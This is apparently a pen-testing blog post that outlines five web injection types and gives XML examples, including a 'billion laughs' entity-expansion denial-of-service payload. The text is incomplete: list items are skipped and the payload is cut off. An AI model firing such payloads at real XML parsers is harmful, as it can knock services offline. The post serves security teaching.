Have you ever wondered how Pen-testers uncover vulnerabilities lurking in web applications? ??In this blog, we will delve into various scripts and injections that can be used in identifying vulnerabilities in web applications during testing.
But, how does this injection lead to sensitive data breaches?
- In technical terms, attackers find places in web forms or URLs where they can input malicious code. This code then tricks the web application into doing things it shouldn’t, like revealing sensitive data or letting the attacker take control. To stop these attacks, developers need to check and clean up all inputs to make sure no sneaky code can sneak in.
When testing for these vulnerabilities, injections are typically divided into five categories based on the most commonly found types.
- SQL Injection (SQLi)
- Cross-Site Scripting (XSS)
- Command Injection
- XML Injection
- HTML Injection
Each type of injection attack works differently based on how it interacts with the input parameters, processes data, and executes malicious code.
- SQL Injection (SQLi): This type of injection involves inserting malicious SQL queries into input fields to manipulate or access the database.

2. Cross-Site Scripting (XSS): In this attack, malicious scripts are injected into web pages, which unsuspecting users then execute.

4. XML Injection: Here, attackers insert malicious XML content into an XML document, potentially altering the application’s behavior or exposing sensitive data.
XXE: Basic XML Example
<!--?xml version="1.0" ?-->
<userInfo>
<firstName>John</firstName>
<lastName>Doe</lastName>
</userInfo>
XXE: Entity Example
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&example;</lastName>
</userInfo>
XXE: Denial-of-Service Example
<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">

5. HTML Injection: This type of injection allows attackers to insert malicious HTML content into web pages, which can manipulate the appearance and functionality of the site for other users.
